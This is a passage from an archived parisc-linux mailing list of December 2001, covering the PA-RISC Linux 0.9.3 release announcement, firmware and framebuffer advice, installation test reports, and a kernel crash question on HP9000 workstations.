from the CD or something else.
B) forget kernel.org. parisc tree is at cvs.parisc-linux.org or
   ftp.parisc-linux.org (nightly cvs snapshots). parisc isn't
   fully merged back into linus's tree.

> Looked at the .config file afterwards. No sti frame buffer configured.
> Hmm.=20

Looking arch/parisc/defconfig:
CONFIG_FB=y
CONFIG_FB_STI=y

you just ahd the wrong source tree.

> More research. Current firmware is 2.1. Latest firmware from HP is 6.1.
> And it "fixes" some 3rd  party graphics card problems.

It fixes alot more than just that.
I believe 2.1 is the original firmware shipped with the machine.
6.1 *will* disable PCI if anything other than an HP PCI grapchis
card is plugged into a PCI slot *and* you have an "old" Dino.

> As soon as I get a blank tape, I'll upgrade the firmware (scary
> process!).

Yes. But you can do it via LAN/bootp too.
Boot the update image just a a kernel image as described
in previous emails to this list (eg NFS root).
(Archive is at lists.parisc-linux.org)

grant



From - Thu Nov 08 21:20:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC Linux 0.9.3
Date: Tue, 11 Dec 2001 22:57:30 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <20011212055730.10EEA37E86@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620832 31144 80.91.229.3 (22 Nov 2014 01:47:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:12 +0000 (UTC)
To: parisc-linux@parisc-linux.org,
	parisc-linux-announce@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 11 22:57:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 369F3482C; Tue, 11 Dec 2001 22:57:31 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel8.hp.com (Postfix) with ESMTP
	id 42DD01F77B; Wed, 12 Dec 2001 00:57:30 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 10EEA37E86; Tue, 11 Dec 2001 22:57:30 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13301

Version 0.9.3 of PA-RISC Linux Released

On December 11, 2001 the PA-RISC Linux development community announced
version 0.9.3, the latest version of Linux for computers using Hewlett
Packard's PA-RISC processor. This release is the latest in a series
representing several years of work by developers in the Free Software
community including developers from The Debian Project, Hewlett Packard,
ESIEE, and Linuxcare.

Improvments in the 0.9.3 release include

Linux Kernel 2.4.9
SMP support 1-4 way
STI framebuffer graphics
Improved SCSI driver
EISA/ISA support
HP-UX compatibility support
Glibc 2.2.4
Latest Debian Installer
over 80% Debian packages available
X Windows System
Xinerama support
KDE and Gnome environments

The 0.9.3 release install CDROM images and related documentation can be
found at

http://parisc-linux.org/release-0.9/

Information about PA-RISC Linux is available at

http://parisc-linux.org/

Any questions or comments about the release should be directed to the
mailing list at

parisc-linux@parisc-linux.org

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:20:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 0.9.3-rc6 -> final, apt, and rsync
Date: Tue, 11 Dec 2001 23:26:32 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20011212062632.44A9037E86@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620832 31148 80.91.229.3 (22 Nov 2014 01:47:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:12 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 11 23:26:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id C10A44831
	for <parisc-linux@parisc-linux.org>; Tue, 11 Dec 2001 23:26:33 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP id 79C1A6004EA
	for <parisc-linux@parisc-linux.org>; Wed, 12 Dec 2001 01:26:32 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 44A9037E86
	for <parisc-linux@parisc-linux.org>; Tue, 11 Dec 2001 23:26:32 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13302

Hi palinuxers,

Hopefully you've seen the 0.9.3 announcement.

After much testing the 0.9.3 release candidate 6 was declared the final
0.9.3. So if you grabbed either of the -rc6 isos you already have the
right thing. The 0.9.3 isos are based on woody. If you have installed a
previous release and have a decent net connection there's no need to
reinstall, you can seamlessly upgrade using apt-get.

Also there is now an rsync server available, rsync.parisc-linux.org

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:20:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Higson <richard.higson@gt.owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.3-rc6 -> final, apt, and rsync
Date: Wed, 12 Dec 2001 08:14:41 +0100
Organization: is NOT one of my stronger abilities.
Lines: 46
Approved: news@gmane.org
Message-ID: <20011212081441.A18644@glurp.gt.owl.de>
References: <20011212062632.44A9037E86@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620832 31149 80.91.229.3 (22 Nov 2014 01:47:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:12 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 00:32:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from noose.gt.owl.de (noose.gt.owl.de [62.52.19.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76D2A482C
	for <parisc-linux@parisc-linux.org>; Wed, 12 Dec 2001 00:32:13 -0700 (MST)
Original-Received: by noose.gt.owl.de (Postfix, from userid 10)
	id BF7C37F3; Wed, 12 Dec 2001 08:32:02 +0100 (CET)
Original-Received: by glurp.gt.owl.de (Postfix, from userid 1000)
	id AB40FBFE0; Wed, 12 Dec 2001 08:14:43 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20011212062632.44A9037E86@carmen.fc.hp.com>
User-Agent: Mutt/1.3.20i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13303

On Tue, Dec 11, 2001 at 11:26:32PM -0700, Matt Taggart wrote:
> To: parisc-linux@parisc-linux.org
> From: Matt Taggart <taggart@carmen.fc.hp.com>
> Subject: [parisc-linux] 0.9.3-rc6 -> final, apt, and rsync
> Date: Tue, 11 Dec 2001 23:26:32 -0700
> 
> Hi palinuxers,
> 
> Hopefully you've seen the 0.9.3 announcement.
> 
> After much testing the 0.9.3 release candidate 6 was declared the final
> 0.9.3. So if you grabbed either of the -rc6 isos you already have the
> right thing. The 0.9.3 isos are based on woody. If you have installed a
> previous release and have a decent net connection there's no need to
> reinstall, you can seamlessly upgrade using apt-get.
CONFIRM: Yesterday evening I just did 
`apt-get update && apt-get upgrade && apt-get moo`
which took a while, but mostly just worked ;-)

I also ran dselect through `update, select, install, configure, remove` menus
to make sure that apt-* and dpkg-* are in sync.
(This might be habit -  I've been doing it since Bo/Rexx and it just seems to work ;-)

It seemed to clean up any rough edges that might have been accumulated over the
months ;-)

This was on a
cpu family      : PA-RISC 1.1d
cpu             : PA7100LC (PCX-L)
cpu MHz         : 100.000000
model           : 9000/715
model name      : Mirage 100


Next move is to see if I can compile & boot from kernel-source-2.4.16-hppa.tar.bz2
natively.

Outstanding work, people; Thank You all.

Richard - 
-- 
Unix:        Your gun, Your bullet, Your foot, Your choice.
M$-CE/ME/NT: Same as Unix, BUT: No choice, and We Aim Higher.
Have a nice day ;-) Richard Higson mailto:richard.higson@gt.owl.de



From - Thu Nov 08 21:20:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.3-rc6 -> final, apt, and rsync
Date: Wed, 12 Dec 2001 00:40:37 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20011212074037.1CB5B37E86@carmen.fc.hp.com>
References: <20011212062632.44A9037E86@carmen.fc.hp.com>  <20011212081441.A18644@glurp.gt.owl.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620832 31156 80.91.229.3 (22 Nov 2014 01:47:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:12 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Richard Higson <richard.higson@gt.owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 00:40:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5D6D482C
	for <parisc-linux@parisc-linux.org>; Wed, 12 Dec 2001 00:40:38 -0700 (MST)
Original-Received: from carmen.fc.hp.com (unknown [15.1.51.72])
	by atlrel8.hp.com (Postfix) with ESMTP
	id B90BC1F7C0; Wed, 12 Dec 2001 02:40:37 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 1CB5B37E86; Wed, 12 Dec 2001 00:40:37 -0700 (MST)
In-Reply-To: Your message of "Wed, 12 Dec 2001 08:14:41 +0100."
             <20011212081441.A18644@glurp.gt.owl.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13304

Richard Higson writes...

> Next move is to see if I can compile & boot from kernel-source-2.4.16-hppa.ta
> r.bz2  natively.

FYI there are 2.4.16 hppa kernel-image packages in unstable, but don't let me
spoil your fun :)

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:20:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sven Cronenberg <sven.cronenberg@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] X WIndows on HP9000 720 or 735
Date: Wed, 12 Dec 2001 10:37:14 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <3C17254A.3050209@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620833 31161 80.91.229.3 (22 Nov 2014 01:47:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:13 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 02:37:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp.web.de (smtp02.web.de [217.72.192.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4CAAA482C
	for <parisc-linux@parisc-linux.org>; Wed, 12 Dec 2001 02:37:30 -0700 (MST)
Original-Received: from pc0612a.pdi-berlin.de ([195.37.92.71] helo=web.de)
	by smtp.web.de with asmtp (Exim 3.40 #37)
	id 16E5pQ-0000sd-00
	for parisc-linux@parisc-linux.org; Wed, 12 Dec 2001 10:37:28 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13305

I am using 2 HP9000 WOrkstatiosn at home. One HP900/720 system with CRX8 
 graphic card and
and a HP9000/735 with CRX48Z graphics system.

I would like to know if anyone has succeeded in running X Windows for 
PARISC Linux on
one of those machines?

By the way: How das the x-windows for PARISC Linux work. Does it access 
the graphics card
via the framebuffer device or directly?

Sven




From - Thu Nov 08 21:20:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X WIndows on HP9000 720 or 735
Date: Wed, 12 Dec 2001 10:39:33 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <3C1725D5.7CB86E29@esiee.fr>
References: <3C17254A.3050209@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620833 31164 80.91.229.3 (22 Nov 2014 01:47:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:13 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Sven Cronenberg <sven.cronenberg@web.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 02:53:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8ECEF482C
	for <parisc-linux@parisc-linux.org>; Wed, 12 Dec 2001 02:53:01 -0700 (MST)
Original-Received: from esiee.fr (pc213g.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id B947349BFA; Wed, 12 Dec 2001 10:52:55 +0100 (CET)
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: fr, fr-FR, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13306

Hi Sven,

> I would like to know if anyone has succeeded in running X Windows for
> PARISC Linux on one of those machines?

Yes, some people did succed to get X running on these machines. Look at
http://mkhppa1.esiee.fr/list.html
If you have trouble, try to contact them directly.

> By the way: How das the x-windows for PARISC Linux work. Does it access
> the graphics card
> via the framebuffer device or directly?

If you want X, you need the framebuffer device. That's our only way for
the moment.

Good Luck, Thomas.
ESIEE Team



From - Thu Nov 08 21:20:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jan Heumann" <jheumann@fonts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [test] PA-RISC Linux 0.9.3
Date: Wed, 12 Dec 2001 13:19:19 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <200112121319.AA3146187070@mail.fonts.de>
Reply-To: <jheumann@fonts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620833 31165 80.91.229.3 (22 Nov 2014 01:47:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:13 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 05:15:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from bhonet00003.fonts.de (www.fonts.de [212.109.160.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5606F482C
	for <parisc-linux@parisc-linux.org>; Wed, 12 Dec 2001 05:15:23 -0700 (MST)
Original-Received: from mail.fonts.de (mail.fonts.de [193.103.125.252])
	by bhonet00003.fonts.de (Postfix) with ESMTP id 3631B3AB8B
	for <parisc-linux@parisc-linux.org>; Wed, 12 Dec 2001 13:15:42 +0100 (CET)
X-Sender: <jheumann@mail.fonts.de>
X-Mailer: <IMail v6.05>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13307

I have test the PA-RISC Linux 0.9.3-RC6.
The test was successfully on the follow machine :

HP9000 710
HP9000 715 33MHz
HP9000 715 50 MHz
HP9000 715 64 MHz
HP9000 720
HP9000 750

All machines have installed with a serial HP 700/60 Terminal.

in the packages are a bug. by selecting with tasksel can the installation 
frozen. i have use unix-server, web-server and c-developer and it is not 
frozen. i have selected all packages and the installation is frozen.




From - Thu Nov 08 21:20:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joerg Hartmann <j.hartmann@reinarts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [test] PA-RISC Linux 0.9.3
Date: Wed, 12 Dec 2001 13:33:41 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <200112121229.NAA03171@post.webmailer.de>
References: <200112121319.AA3146187070@mail.fonts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620834 31170 80.91.229.3 (22 Nov 2014 01:47:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:14 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 05:34:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from post.webmailer.de (natwar.webmailer.de [192.67.198.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06138482C
	for <parisc-linux@parisc-linux.org>; Wed, 12 Dec 2001 05:33:59 -0700 (MST)
Original-Received: from there (fwr-01.mediadesign.de [212.185.42.202])
	by post.webmailer.de (8.9.3/8.8.7) with SMTP id NAA03171
	for <parisc-linux@parisc-linux.org>; Wed, 12 Dec 2001 13:29:24 +0100 (MET)
X-Mailer: KMail [version 1.3]
In-Reply-To: <200112121319.AA3146187070@mail.fonts.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13308

On Wednesday, 12. December 2001 14:19, you wrote:

> I have test the PA-RISC Linux 0.9.3-RC6.
> The test was successfully on the follow machine :
>
> HP9000 710
> HP9000 715 33MHz
> HP9000 715 50 MHz
> HP9000 715 64 MHz
> HP9000 720

The Installation on a 720 went smoothly.
But samba does not work.
The smbd dies imedietly without any logging / information, because of 
some problems with "the message database" .

regards
			Joerg
-- 
Joerg Hartmann
j.hartmann@reinarts.de



From - Thu Nov 08 21:20:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evms_vgscan crash hppa kernel ... continue
Date: Wed, 12 Dec 2001 16:54:03 +0100 (CET)
Lines: 74
Approved: news@gmane.org
Message-ID: <1008172443.3c177d9bc3990@webmail.tiscalinet.be>
References: <1005144976.3be94b9093186@webmail.tiscalinet.be> <20011107150235.G4441@parcelfarce.linux.theplanet.co.uk> <1005146018.3be94fa245586@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620834 31174 80.91.229.3 (22 Nov 2014 01:47:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:14 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 08:54:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8FB5C482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 08:54:10 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16EBhr-00086Z-00; Wed, 12 Dec 2001 16:54:03 +0100
In-Reply-To: <1005146018.3be94fa245586@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13309

Hi all,

I retry now with kernel 2.4.16-pa16 and evms cvs dated 2011-12-11 and
unfortunately it still crashes but at crash time I've got he following
interesting message to me:

--evms: Sector IO ioctl: Allocating sector buffer.
WARNING! Stack pointer and cr30 do not correspond!

.... a dump ...


Can some one explain me what it means and what can be the reason.
I post here the question because I see that it cames from
arch/parisc/kernel/traps.c but have no knowledge in the register naming for this
processor.

Thanks in advance for help,
        Joel


Quoting joel.soete@freebel.net:

> Quoting Matthew Wilcox <willy@debian.org>:
> 
> > On Wed, Nov 07, 2001 at 03:56:16PM +0100, joel.soete@freebel.net
> wrote:
> > > IASQ: 00000000 00000000 IAOQ: 1018c350 1018c354
> > >  IIR: 48fa0020    ISR: 00000000  IOR: faf00918
> > >  CPU:        0   CR30: 124fc000 CR31: 10348000
